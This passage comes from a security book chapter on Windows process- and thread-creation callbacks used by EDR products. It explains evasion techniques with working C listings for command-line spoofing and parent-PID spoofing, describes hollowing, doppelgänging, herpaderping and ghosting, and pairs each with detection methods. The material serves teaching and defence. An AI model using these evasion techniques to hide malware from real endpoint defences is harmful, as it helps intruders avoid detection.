NotifyRoutineEx2(). The latter can provide notifications about non-Win32 subsystem processes. These functions take a pointer to a callback function that will perform some action whenever a new process is created or termi- nated. Listing 3-2 demonstrates how a callback function is registered. NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath) { NTSTATUS status = STATUS_SUCCESS; --snip-- status = 1 PsSetCreateProcessNotifyRoutineEx2( PsCreateProcessNotifySubsystems, (PVOID)ProcessNotifyCallbackRoutine, FALSE ); --snip-- } Evading EDR (Early Access) © 2023 by Matt Hand 36   Chapter 3 2 void ProcessNotifyCallbackRoutine( PEPROCESS pProcess, HANDLE hPid, PPS_CREATE_NOTIFY_INFO pInfo) { if (pInfo) { <...> } } Listing 3-2: Registering a process-creation callback routine This code registers the callback routine 1 and passes three arguments to the registration function. The first, PsCreateProcessNotifySubsystems, indi- cates the type of process notification that is being registered. At the time of this writing, “subsystems” is the only type that Microsoft documents. This value tells the system that the callback routine should be invoked for processes created across all subsystems, including Win32 and Windows Subsystem for Linux (WSL). The next argument defines the entry point of the callback routine to be executed when the process is created. In our example, the code points to the internal ProcessNotifyCallbackRoutine() function. When process creation occurs, this callback function will receive information about the event, which we’ll discuss momentarily. The third argument is a Boolean value indicating whether the callback routine should be removed. Because we’re registering the routine in this example, the value is FALSE. When we unload the driver, we’d set this to TRUE to remove the callback from the system. After registering the callback rou- tine, we define the callback function itself 2. Viewing the Callback Routines Registered on a System You can use WinDbg to see a list of the process callback routines on your system. When a new callback routine is registered, a pointer to the routine is added to an array of EX_FAST_REF structures, which are 16-byte aligned pointers stored in an array at nt!PspCreateProcessNotifyRoutine, as shown in Listing 3-3. 1: kd> dq nt!PspCreateProcessNotifyRoutine fffff803`49aec4e0 ffff9b8f`91c5063f ffff9b8f`91df6c0f fffff803`49aec4f0 ffff9b8f`9336fcff ffff9b8f`9336fedf fffff803`49aec500 ffff9b8f`9349b3ff ffff9b8f`9353a49f fffff803`49aec510 ffff9b8f`9353acdf ffff9b8f`9353a9af fffff803`49aec520 ffff9b8f`980781cf 00000000`00000000 fffff803`49aec530 00000000`00000000 00000000`00000000 fffff803`49aec540 00000000`00000000 00000000`00000000 fffff803`49aec550 00000000`00000000 00000000`00000000 Listing 3-3: An array of EX_FAST_REF structures containing the addresses of process-cre- ation callback routines Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   37 Listing 3-4 shows a way of iterating over this array of EX_FAST_REF struc- tures to enumerate drivers that implement process-notification callbacks. 1: kd> dx ((void**[0x40])&nt!PspCreateProcessNotifyRoutine) .Where(a => a != 0) .Select(a => @$getsym(@$getCallbackRoutine(a).Function)) [0] : nt!ViCreateProcessCallback (fffff803`4915a2a0) [1] : cng!CngCreateProcessNotifyRoutine (fffff803`4a4e6dd0) [2] : WdFilter+0x45e00 (fffff803`4ade5e00) [3] : ksecdd!KsecCreateProcessNotifyRoutine (fffff803`4a33ba40) [4] : tcpip!CreateProcessNotifyRoutineEx (fffff803`4b3f1f90) [5] : iorate!IoRateProcessCreateNotify (fffff803`4b95d930) [6] : CI!I_PEProcessNotify (fffff803`4a46a270) [7] : dxgkrnl!DxgkProcessNotify (fffff803`4c116610) [8] : peauth+0x43ce0 (fffff803`4d873ce0) Listing 3-4: Enumerating registered process-creation callbacks Here, we can see some of the routines registered on a default system. Note that some of these callbacks do not perform security functions. For instance, the one beginning with tcpip is used in the TCP/IP driver. However, we do see that Microsoft Defender has a callback registered: WdFilter+0x45e00. (Microsoft doesn’t publish full symbols for the WdFilter. sys driver.) Using this technique, we could locate an EDR’s callback routine without needing to reverse-engineer Microsoft’s driver. Collecting Information from Process Creation Once an EDR registers its callback routine, how does it access information? Well, when a new process is created, a pointer to a PS_CREATE_NOTIFY_INFO structure is passed to the callback. You can see the structure defined in Listing 3-5. typedef struct _PS_CREATE_NOTIFY_INFO { SIZE_T Size; union { ULONG Flags; struct { ULONG FileOpenNameAvailable : 1; ULONG IsSubsystemProcess : 1; ULONG Reserved : 30; }; }; HANDLE ParentProcessId; CLIENT_ID CreatingThreadId; struct _FILE_OBJECT *FileObject; PCUNICODE_STRING ImageFileName; PCUNICODE_STRING CommandLine; NTSTATUS CreationStatus; } PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO; Listing 3-5: The definition of the PS_CREATE_NOTIFY_INFO structure Evading EDR (Early Access) © 2023 by Matt Hand 38   Chapter 3 This structure contains a significant amount of valuable data relating to process-creation events on the system. This data includes: ParentProcessId The parent process of the newly created process. This isn’t necessarily the one that created the new process. CreatingThreadId Handles to the unique thread and process responsible for creating the new process. FileObject A pointer to the process’s executable file object (the image on disk). ImageFileName A pointer to a string containing the path to the newly created process’s executable file. CommandLine The command line arguments passed to the creating process. FileOpenNameAvailable A value that specifies whether the ImageFileName member matches the filename used to open the new process’s execut- able file. One way that EDRs commonly interact with the telemetry returned from this notification is through Sysmon’s Event ID 1, the event for process creation, shown in Figure 3-1. Figure 3-1: Sysmon Event ID 1 showing process creation In this event, we can see some of the information from the PS_CREATE _NOTIFY_INFO structure passed to Sysmon’s callback routine. For example, the Image, CommandLine, and ParentProcessId properties in the event translate to the ImageFileName, CommandLine, and ParentProcessId members of the structure, respectively. You may be wondering why there are so many more properties in this event than there are in the structure received by the callback. The driver col- lects these supplemental pieces of information by investigating the context of the thread under which the event was generated and expanding on members of the structure. For instance, if we know the ID of the process’s parent, we can easily find the parent’s image path to populate the ParentImage property. Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   39 By leveraging the data collected from this event and the associated struc- ture, EDRs can also create internal mappings of process attributes and relation- ships in order to detect suspicious activity, such as Microsoft Word spawning a powershell.exe child. This data could also provide the agent with useful context for determining whether other activity is malicious. For example, the agent could feed process command line arguments into a machine learning model to figure out whether the command’s invocation is unusual in the environment. Thread Notifications Thread-creation notifications are somewhat less valuable than process-cre- ation events. They work relatively similarly, occurring during the creation process, but they receive less information. This is true despite the fact that thread creation happens substantially more often; after all, nearly every process supports multithreading, meaning that there will be more than one thread-creation notification for every process creation. Although thread-creation callbacks pass far less data to the callback, they do provide the EDR with another datapoint against which detections can be built. Let’s explore them a little further. Registering a Thread Callback Routine When a thread is created or terminated, the callback routine receives three pieces of data: the ID of the process to which the thread belongs, the unique thread ID, and a Boolean value indicating whether the thread is being created. Listing 3-6 shows how a driver would register a callback rou- tine for thread-creation events. NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath) { NTSTATUS status = STATUS_SUCCESS; --snip-- 1 status = PsSetCreateThreadNotifyRoutine(ThreadNotifyCallbackRoutine); --snip-- } void ThreadNotifyCallbackRoutine( HANDLE hProcess, HANDLE hThread, BOOLEAN bCreate) { 2 if (bCreate) { --snip-- } } Listing 3-6: Registration of a thread-creation notification routine Evading EDR (Early Access) © 2023 by Matt Hand 40   Chapter 3 As with process creation, an EDR can receive notifications about thread creation or termination via its driver by registering a thread-notification callback routine with either nt!PsSetCreateThreadNotifyRoutine() or the extended nt!PsSetCreateThreadNotifyRoutineEx(), which adds the ability to define the notification type. This example driver first registers the callback routine 1, passing in a pointer to the internal callback function, which receives the same three pieces of data passed to process callback routines. If the Boolean indicat- ing whether the thread is being created or terminated is TRUE, the driver performs some action defined by the developer 2. Otherwise, the callback would simply ignore the thread events, as thread-termination events (which occur when a thread completes its execution and returns) are generally less valuable for security monitoring. Detecting Remote Thread Creation Despite providing less information than process-creation callbacks, thread-creation notifications offer the EDR data about something other callbacks can’t detect: remote thread creation. Remote thread creation occurs when one process creates a thread inside another process. This technique is core to a ton of attacker tradecraft, which often relies on changing the execution context (as in going from user 1 to user 2). Listing 3-7 shows how an EDR could detect this behavior with its thread-creation callback routine. void ThreadNotifyCallbackRoutine( HANDLE hProcess, HANDLE hThread, BOOLEAN bCreate) { if (bCreate) { 1 if (PsGetCurrentProcessId() != hProcess) { --snip-- } } } Listing 3-7: Detecting remote thread creation Because the notification executes in the context of the process creat- ing the thread, developers can simply check whether the current process ID matches the one passed to the callback routine 1. If not, the thread is being created remotely and should be investigated. That’s it: a huge capability, provided through one or two lines of code. It doesn’t get much better than that. You can see this feature implemented in real life through Sysmon’s Event ID 8, shown in Figure 3-2. Notice that the SourceProcessId and TargetProcessId values differ. Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   41 Figure 3-2: Sysmon Event ID 8 detecting remote thread creation Of course, remote thread creation happens under a number of legiti- mate circumstances. One example is child process creation. When a process is created, the first thread executes in the context of the parent process. To account for this, many EDRs simply disregard the first thread associated with a process. Certain internal operating system components also perform legitimate remote thread creation. An example of this is Windows Error Reporting (werfault.exe). When an error has occurred on the system, the operating system spawns werfault.exe as a child of svchost.exe (specifically, the WerSvc service) and then injects into the faulting process. Thus, the fact that a thread was created remotely doesn’t automatically make it malicious. To determine this, the EDR has to collect supplemental information, as shown in Sysmon Event ID 8. Evading Process- and Thread-Creation Callbacks Process and thread notifications have the most associated detections of all callback types. This is partly due to the fact that the information they pro- vide is critical to most process-oriented detection strategies and is used by almost every commercial EDR product. They’re also generally the easiest to understand. This isn’t to say that they’re also easy to evade. However, there is no shortage of procedures we can follow to increase our chances of slip- ping through the cracks somewhere. Command Line Tampering Some of the most commonly monitored attributes of process-creation events are the command line arguments with which the process was invoked. Certain detection strategies are even built entirely around spe- cific command line arguments associated with a known offensive tool or piece of malware. EDRs can find arguments in the CommandLine member of the structure passed to a process-creation callback routine. When a process is created, its command line arguments are stored in the ProcessParameters field of its process environment block (PEB). This field contains a pointer to an RTL_USER_PROCESS_PARAMETERS structure that contains, among other things, Evading EDR (Early Access) © 2023 by Matt Hand 42   Chapter 3 a UNICODE_STRING with the parameters passed to the process at invocation. Listing 3-8 shows how we could manually retrieve a process’s command line arguments with WinDbg. 0:000> ?? @$peb->ProcessParameters->CommandLine.Buffer wchar_t * 0x000001be`2f78290a "C:\Windows\System32\rundll32.exe ieadvpack.dll,RegisterOCX payload.exe" Listing 3-8: Retrieving parameters from the PEB with WinDbg In this example, we extract the parameters from the current process’s PEB by directly accessing the buffer member of the UNICODE_STRING, which makes up the CommandLine member of the ProcessParameters field. However, because the PEB resides in the process’s user-mode memory space and not in the kernel, a process can change attributes of its own PEB. Adam Chester’s “How to Argue like Cobalt Strike” blog post details how to modify the command line arguments for a process. Before we cover this tech- nique, you should understand what it looks like when a normal program cre- ates a child process. Listing 3-9 contains a simple example of this behavior. void main() { STARTUPINFOW si; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessW( L"C:\\Windows\\System32\\cmd.exe", L"These are my sensitive arguments", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { WaitForSingleObject(pi.hProcess, INFINITE); } return; } Listing 3-9: Typical child-process creation This basic implementation spawns a child process of cmd.exe with the arguments “These are my sensitive arguments.” When the process is exe- cuted, any standard process-monitoring tool should see this child process and its unmodified arguments by reading them from the PEB. For example, in Figure 3-3, we use a tool called Process Hacker to extract command line parameters. As expected, cmd.exe was spawned with our string of five arguments passed to it. Let’s keep this example in mind; it will serve as our benign baseline as we start trying to hide our malware. Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   43 Chester’s blog post describes the following process for modifying the command line arguments used to invoke a process. First, you create the child process in a suspended state using your malicious arguments. Next, you use ntdll!NtQueryInformationProcess() to get the address of the child process’s PEB, and you copy it by calling kernel32!ReadProcessMemory(). You retrieve its ProcessParameters field and overwrite the UNICODE_STRING rep- resented by the CommandLine member pointed to by ProcessParameters with spoofed arguments. Lastly, you resume the child process. Let’s overwrite the original arguments from Listing 3-9 with the argu- ment string “Spoofed arguments passed instead.” Listing 3-10 shows this behavior in action, with the updates in bold. void main() { --snip-- if (CreateProcessW( L"C:\\Windows\\System32\\cmd.exe", L"These are my sensitive arguments", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { --snip-- LPCWSTR szNewArguments = L"Spoofed arguments passed instead"; SIZE_T ulArgumentLength = wcslen(szNewArguments) * sizeof(WCHAR); if (WriteProcessMemory( pi.hProcess, pParameters.CommandLine.Buffer, (PVOID)szNewArguments, ulArgumentLength, &ulSize)) { ResumeThread(pi.hThread); } } --snip-- } Listing 3-10: Overwriting command line arguments Figure 3-3: Command line arguments retrieved from the PEB Evading EDR (Early Access) © 2023 by Matt Hand 44   Chapter 3 When we create our process, we pass the CREATE_SUSPENDED flag to the func- tion to start it in a suspended state. Next, we need to get the address of the process’s parameters in the PEB. We’ve omitted this code from Listing 3-10 for brevity, but the way to do this is to use ntdll!NtQueryInformationProcess(), passing in the ProcessBasicInformation information class. This should return a PROCESS_BASIC_INFORMATION structure that contains a PebBaseAddress member. We can then read our child process’s PEB into a buffer that we allocate locally. Using this buffer, we extract the parameters and pass in the address of the PEB. Then we use ProcessParameters to copy it into another local buf- fer. In our code, this final buffer is called pParameters and is cast as a pointer to an RTL_USER_PROCESS_PARAMETERS structure. We overwrite the existing param- eters with a new string via a call to kernel32!WriteProcessMemory(). Assuming that this all completed without error, we call kernel32!ResumeThread() to allow our suspended child process to finish initialization and begin executing. Process Hacker now shows the spoofed argument values, as you can see in Figure 3-4. Figure 3-4: Command line arguments overwritten with spoofed values While this technique remains one of the more effective ways to evade detection based on suspicious command line arguments, it has a handful of limitations. One such limitation is that a process can’t change its own com- mand line arguments. This means that if we don’t have control of the parent process, as in the case of an initial access payload, the process must execute with the original arguments. Additionally, the value used to overwrite the suspicious arguments in the PEB must be longer than the original value. If it is shorter, the overwrite will be incomplete, and portions of the suspicious arguments will remain. Figure 3-5 shows this limitation in action. Figure 3-5: Command line arguments partially overwritten Here, we’ve shortened our arguments to the value “Spoofed argu- ments.” As you can see, it replaced only part of the original arguments. The inverse is also true: if the length of the spoofed value is greater than that of the original arguments, the spoofed arguments will be truncated. Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   45 Parent Process ID Spoofing Nearly every EDR has some way of correlating parent–child processes on the system. This allows the agent to identify suspicious process relation- ships, such as Microsoft Word spawning rundll32.exe, which could indicate an attacker’s initial access or their successful exploitation of a service. Thus, in order to hide malicious behavior on the host, attackers often wish to spoof their current process’s parent. If we can trick an EDR into believing that our malicious process creation is actually normal, we’re sub- stantially less likely to be detected. The most common way to accomplish this is by modifying the child’s process and thread attribute list, a tech- nique popularized by Didier Stevens in 2009. This evasion relies on the fact that, on Windows, children inherit certain attributes from parent processes, such as the current working directory and environment variables. No dependencies exist between parent and child processes; therefore, we can specify a parent process somewhat arbitrarily, as this section will cover. To better understand this strategy, let’s dig into process creation on Windows. The primary API used for this purpose is the aptly named kernel32!CreateProcess() API. This function is defined in Listing 3-11. BOOL CreateProcessW( LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); Listing 3-11: The kernel32!CreateProcess() API definition The ninth parameter passed to this function is a pointer to a STARTUPINFO or STARTUPINFOEX structure. The STARTUPINFOEX structure, defined in Listing 3-12, extends the basic startup information structure by adding a pointer to a PROC_THREAD_ATTRIBUTE_LIST structure. typedef struct _STARTUPINFOEXA { STARTUPINFOA StartupInfo; LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; } STARTUPINFOEXA, *LPSTARTUPINFOEXA; Listing 3-12: The STARTUPINFOEX structure definition When creating our process, we can make a call to kernel32!Initialize ProcThreadAttributeList() to initialize the attribute list and then to kernel32 !UpdateProcThreadAttribute() to modify it. This allows us to set custom attri- butes of the process to be created. When spoofing the parent process, we’re Evading EDR (Early Access) © 2023 by Matt Hand 46   Chapter 3 interested in the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute, which indi- cates that a handle to the desired parent process is being passed. To get this handle, we must obtain a handle to the target process, by either opening a new one or leveraging an existing one. Listing 3-13 shows an example of process spoofing to tie all these pieces together. We’ll modify the attributes of the Notepad utility so that VMware Tools appears to be its parent process. Void SpoofParent() { PCHAR szChildProcess = "notepad"; DWORD dwParentProcessId = 1 7648; HANDLE hParentProcess = NULL; STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T ulSize; memset(&si, 0, sizeof(STARTUPINFOEXA)); si.StartupInfo.cb = sizeof(STARTUPINFOEXA); 2 hParentProcess = OpenProcess( PROCESS_CREATE_PROCESS, FALSE, dwParentProcessId); 3 InitializeProcThreadAttributeList(NULL, 1, 0, &ulSize); si.lpAttributeList = 4 (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc( GetProcessHeap(), 0, ulSize); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &ulSize); 5 UpdateProcThreadAttribute( si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL); CreateProcessA(NULL, szChildProcess, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi); CloseHandle(hParentProcess); DeleteProcThreadAttributeList(si.lpAttributeList); } Listing 3-13: An example of spoofing a parent process We first hardcode the process ID 1 of vmtoolsd.exe, our desired par- ent. In the real world, we might instead use logic to find the ID of the Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   47 parent we’d like to spoof, but I’ve opted not to include this code in the example for the sake of brevity. Next, the SpoofParent() function makes a call to kernel32!OpenProcess() 2. This function is responsible for opening a new handle to an existing process with the access rights requested by the developer. In most offensive tools, you may be used to seeing this function used with arguments like PROCESS_VM_READ, to read the process’s memory, or PROCESS_ALL_ACCESS, which gives us full control over the process. In this exam- ple, however, we request PROCESS_CREATE_PROCESS. We’ll need this access right in order to use the target process as a parent with our externed startup information structure. When the function completes, we’ll have a handle to vmtoolsd.exe with the appropriate rights. The next thing we need to do is create and populate the PROC_THREAD _ATTRIBUTE_LIST structure. To do this, we use a pretty common Windows programming trick to get the size of a structure and allocate the correct amount of memory to it. We call the function to initialize the attribute list 3, passing in a null pointer instead of the address of the real attribute list. However, we still pass in a pointer to a DWORD, which will hold the size required after completion. We then use the size stored in this variable to allocate memory on the heap with kernel32!HeapAlloc() 4. Now we can call the attribute list initialization function again, passing in a pointer to the heap allocation we just created. At this point, we’re ready to start spoofing. We do this by first calling the function for modifying the attribute list and passing in the attribute list itself, the flag indicating a handle to the parent process, and the handle we opened to vmtoolsd.exe 5. This sets vmtoolsd.exe as the parent process of whatever we create using this attribute list. The last thing we need to do with our attribute list is pass it as input to the process-creation function, specifying the child process to create and the EXTENDED_STARTUPINFO_PRESENT flag. When this function is executed, notepad.exe will appear to be a child of vmtoolsd.exe in Process Hacker rather than a child of its true parent, ppid-spoof.exe (Figure 3-6). Figure 3-6: A spoofed parent process in Process Hacker Unfortunately for adversaries, this evasion technique is relatively simple to detect in a few ways. The first is by using the driver. Remember that the structure passed to the driver on a process-creation event contains two sep- arate fields related to parent processes: ParentProcessId and CreatingThreadId. While these two fields will point to the same process in most normal cir- cumstances, when the parent process ID (PPID) of a new process is spoofed, the CreatingThreadId.UniqueProcess field will contain the PID of the process that made the call to the process-creation function. Listing 3-14 shows the output from a mock EDR driver captured by DbgView, a tool used to cap- ture debug print messages. Evading EDR (Early Access) © 2023 by Matt Hand 48   Chapter 3 12.67045498 Process Name: notepad.exe 12.67045593 Process ID: 7892 12.67045593 Parent Process Name: vmtoolsd.exe 12.67045593 Parent Process ID: 7028 12.67045689 Creator Process Name: ppid-spoof.exe 12.67045784 Creator Process ID: 7708 Listing 3-14: Capturing parent and creator process information from a driver You can see here that the spoofed vmtoolsd.exe shows up as the parent process, but the creator (the true process that launched notepad.exe) is iden- tified as ppid-spoof.exe. Another approach to detecting PPID spoofing uses ETW (a topic we’ll explore further in Chapter 8). F-Secure has extensively documented this technique in its “Detecting Parent PID Spoofing” blog post. This detection strategy relies on the fact that the process ID specified in the ETW event header is the creator of the process, rather than the parent process speci- fied in the event data. Thus, in our example, defenders could use an ETW trace to capture process-creation events on the host whenever notepad.exe is spawned. Figure 3-7 shows the resulting event data. Figure 3-7: A spoofed parent process in ETW event data Highlighted in Figure 3-7 is the process ID of vmtoolsd.exe, the spoofed parent. If you compare this to the event header, shown in Figure 3-8, you can see the discrepancy. Figure 3-8: A creator process ID captured in an ETW event header Note the difference in the two process IDs. While the event data had the ID of vmtoolsd.exe, the header contains the ID of ppid-spoof.exe, the true creator. Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   49 The information from this ETW provider isn’t quite as detailed as the information provided to us by the mock EDR driver in Listing 3-14. For example, we’re missing the image name for both the parent and creator processes. This is because the ETW provider doesn’t derive that informa- tion for us, like the driver does. In the real world, we’d likely need to add a step to retrieve that information, by either querying the process or pull- ing it from another data source. Regardless, we can still use this technique as a way to detect PPID spoofing, as we have the core piece of information needed for the strategy: mismatched parent and creator process IDs. Process-Image Modification In many cases, malware wishes to evade image-based detection, or detections built on the name of the file being used to create the process. While there are many ways to accomplish this, one tactic, which we’ll call process-image mod- ification, has gained substantial traction since 2017, although prolific threat groups have used it since at least 2014. In addition to hiding the execution of the malware or tooling, this tactic could allow attackers to bypass application whitelisting, evade per-application host firewall rules, or pass security checks against the calling image before a server allows a sensitive operation to occur. This section covers four process-image modification techniques, namely hollowing, doppelgänging, herpaderping, and ghosting, all of which achieve their goal in roughly the same way: by remapping the host process’s original image with its own. These techniques also all rely on the same design decision made by Microsoft while implementing the logic for notifying registered callbacks of a process being created. The design decision is this: process creation on Windows involves a complex set of steps, many of which occur before the kernel notifies any drivers. As a result, attackers have an opportunity to modify the process’s attributes in some way during those early steps. Here is the entire process- creation workflow, with the notification step shown in bold: 1. Validate parameters passed to the process-creation API. 2. Open a handle to the target image. 3. Create a section object from the target image. 4. Create and initialize a process object. 5. Allocate the PEB. 6. Create and initialize the thread object. 7. Send the process-creation notification to the registered callbacks. 8. Perform Windows subsystem-specific operations to finish initialization. 9. Start execution of the primary thread. 10. Finalize process initialization. 11. Start execution at the image entry point. 12. Return to the caller of the process-creation API. Evading EDR (Early Access) © 2023 by Matt Hand 50   Chapter 3 The techniques outlined in this section take advantage of step 3, in which the kernel creates a section object from the process image. The memory manager caches this image section once it is created, meaning that the section can deviate from the corresponding target image. Thus, when the driver receives its notification from the kernel process manager, the FileObject member of the PS_CREATE_NOTIFY_INFO structure it processes may not point to the file truly being executed. Beyond exploiting this fact, each of the following techniques has slight variations. Hollowing Hollowing is one of the oldest ways of leveraging section modification, dating back to at least 2011. Figure 3-9 shows the execution flow of this technique. Suspended process Hollowed process running attacker code ResumeThread() Legitimate executable CreateProcess() CREATE_SUSPENDED Attacker code WriteProcessMemory() Figure 3-9: The execution flow of process hollowing Using this technique, the attacker creates a process in a suspended state, then unmaps its image after locating its base address in the PEB. Once the unmapping is complete, the attacker maps a new image, such as the adversary’s shellcode runner, to the process and aligns its section. If this succeeds, the process resumes execution. Doppelgänging In their 2017 Black Hat Europe presentation “Lost in Transaction: Process Doppelgänging,” Tal Liberman and Eugene Kogan introduced a new varia- tion on process-image modification. Their technique, process doppelgänging, relies on two Windows features: Transactional NTFS (TxF) and the legacy process-creation API, ntdll!NtCreateProcessEx(). TxF is a now-deprecated method for performing filesystem actions as a sin- gle atomic operation. It allows code to easily roll back file changes, such as during an update or in the event of an error, and has its own group of supporting APIs. The legacy process-creation API performed process creation prior to the release of Windows 10, which introduced the more robust ntdll!NtCreateUser Process(). While it’s deprecated for normal process creation, you’ll still find it used on Windows 10, in versions up to 20H2, to create minimal processes. It has the notable benefit of taking a section handle rather than a file for the process image but comes with some significant challenges. These difficulties stem from the fact that many of the process-creation steps, such as writing Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   51 process parameters to the new process’s address space and creating the main thread object, aren’t handled behind the scenes. In order to use the legacy process-creation function, the developer must re-create those missing steps in their own code to ensure that the process can start. Figure 3-10 shows the complex flow of process doppelgänging. Overwritten file Section containing attacker code NtCreateSection() Legitimate executable WriteFile() Attacker code Create a TxF transaction and open “clean” file CreateFileTransacted() Roll back transaction to restore original file contents Process running attacker code Figure 3-10: The execution flow of process doppelgänging In their proof of concept, Liberman and Kogan first create a transaction object and open the target file with kernel32!CreateFileTransacted(). They then overwrite this transacted file with their malicious code, create an image sec- tion that points to the malicious code, and roll back the transaction with ker nel32!RollbackTransaction(). At this point, the executable has been restored to its original state, but the image section is cached with the malicious code. From here, the authors call ntdll!NtCreateProcessEx(), passing in the section handle as a parameter, and create the main thread pointing to the entry point of their malicious code. After these objects are created, they resume the main thread, allowing the doppelgänged process to execute. Herpaderping Process herpaderping, invented by Johnny Shaw in 2020, leverages many of the same tricks as process doppelgänging; namely its use of the legacy process-creation API to create a process from a section object. While herpaderping can evade a driver’s image-based detections, its primary aim is to evade detection of the con- tents of the dropped executable. Figure 3-11 shows how this technique works. Section containing payload Process object with payload in file object NtCreateSection() File containing payload WriteFile() Create empty payload file Obscure the file contents Main thread created and attacker code executed NtCreateProcessEx() NtCreateThreadEx() Figure 3-11: The execution flow of process herpaderping Evading EDR (Early Access) © 2023 by Matt Hand 52   Chapter 3 To perform herpaderping, an attacker first writes the malicious code to be executed to disk and creates the section object, leaving the handle to the dropped executable open. They then call the legacy process-creation API, with the section handle as a parameter, to create the process object. Before initializing the process, they obscure the original executable dropped to disk using the open file handle and kernel32!WriteFile() or a similar API. Finally, they create the main thread object and perform the remaining pro- cess spin-up tasks. At this point, the driver’s callback receives a notification, and it can scan the file’s contents using the FileObject member of the structure passed to the driver on process creation. However, because the file’s con- tents have been modified, the scanning function will retrieve bogus data. Additionally, closing the file handle will send an IRP_MJ_CLEANUP I/O control code to any filesystem minifilters that have been registered. If the mini- filter wishes to scan the contents of the file, it will meet the same fate as the driver, potentially resulting in a false-negative scan result. Ghosting One of the newest variations on process-image modification is process ghost- ing, released in June 2021 by Gabriel Landau. Process ghosting relies on the fact that Windows only prevents the deletion of files after they’re mapped into an image section and doesn’t check whether an associated section actually exists during the deletion process. If a user attempts to open the mapped executable to modify or delete it, Windows will return an error. If the developer marks the file for deletion and then creates the image section from the executable, the file will be deleted when the file handle is closed, but the section object will persist. This technique’s execution flow is shown in Figure 3-12. Create payload file Empty file File in delete-pending state File containing attacker code Section containing attacker code Close file causing deletion Process created from section Thread created to execute attacker code CloseFile() CreateFile() NtSetInformationFile() FILE_DELETE_ON_CLOSE WriteFile() NtCreateSection() NtCreateProcessEx() NtCreateThreadEx() Figure 3-12: The process-ghosting workflow To implement this technique in practice, malware might create an empty file on disk and then immediately put it into a delete-pending state using the ntdll!NtSetInformationFile() API. While the file is in this state, the malware can write its payload to it. Note that external requests to open the Evading EDR (Early Access) © 2023 by Matt Hand Process- and Thread-Creation Notifications   53 file will fail, with ERROR_DELETE_PENDING, at this point. Next, the mal- ware creates the image section from the file and then closes the file handle, deleting the file but preserving the image section. From here, the malware follows the steps to create a new process from a section object described in previous examples. When the driver receives a notification about the process creation and attempts to access the FILE_OBJECT backing the process (the structure used by Windows to represent a file object), it will receive a STATUS_FILE_DELETED error, preventing the file from being inspected. Detection While process-image modification has a seemingly endless number of varia- tions, we can detect all of these using the same basic methods due to the technique’s reliance on two things: the creation of an image section that differs from the reported executable, whether it is modified or missing, and the use of the legacy process-creation API to create a new, non-minimal process from the image section. Unfortunately, most of the detections for this tactic are reactive, occurring only as part of an investigation, or they leverage proprietary tooling. Still, by focusing on the basics of the technique, we can imag- ine multiple potential ways to detect it. To demonstrate these methods, Aleksandra Doniec (@hasherezade) created a public proof of concept for process ghosting that we can analyze in a controlled environment. You can find this file, proc_ghost64.exe, at https://github.com/hasherezade / process_ghosting/releases. Verify that its SHA-256 hash matches the following: 8a74a522e9a91b777080d3cb95d8bbeea84cb71fda487bc3d4489188e3fd6855. First, in kernel mode, the driver could search for information related to the process’s image either in the PEB or in the corresponding EPROCESS structure, the structure that represents a process object in the kernel. Because the user can control the PEB, the process structure is a better source. It contains process-image information in a number of locations, described in Table 3-1. Table 3-1: Process-Image Information Contained in the EPROCESS Structure Location Process-image information ImageFileName Contains only the filename ImageFilePointer.FileName Contains the rooted Win32 filepath SeAuditProcessCreationInfo .ImageFileName Contains the full NT path but may not always be populated ImagePathHash Contains the hashed NT, or canonicalized, path via nt!PfCalculateProcessHash() Drivers may query these paths by using APIs such as nt!SeLocateProcess ImageName() or nt!ZwQueryInformationProcess() to retrieve the true image path, at which point they still need a way to determine whether the process has been tampered with. Despite being unreliable, the PEB provides a point of comparison. Let’s walk through this comparison using WinDbg. First, Evading EDR (Early Access) © 2023 by Matt Hand 54   Chapter 3 we attempt to pull the image’s filepath from one of the process structure’s fields (Listing 3-15). 0: kd> dt nt!_EPROCESS SeAuditProcessCreationInfo @$proc +0x5c0 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO 0: kd> dt (nt!_OBJECT_NAME_INFORMATION *) @$proc+0x5c0 0xffff9b8f`96880270 +0x000 Name : _UNICODE_STRING " " Listing 3-15: Pulling the filepath from SeAuditProcessCreationInfo Interestingly, WinDbg returns an empty string as the image name. This is atypical; for example, Listing 3-16 returns what you’d expect to see in the case of an unmodified notepad.exe. 1: kd> dt (nt!_OBJECT_NAME_INFORMATION *) @$proc+0x5c0 Breakpoint 0 hit 0xffff9b8f`995e6170 +0x000 Name : _UNICODE_STRING "\Device\HarddiskVolume2\Windows\System32\notepad.exe" Listing 3-16: The UNICODE_STRING field populated with the NT path of the image Let’s also check another member of the process structure, ImageFileName. While this field won’t return the full 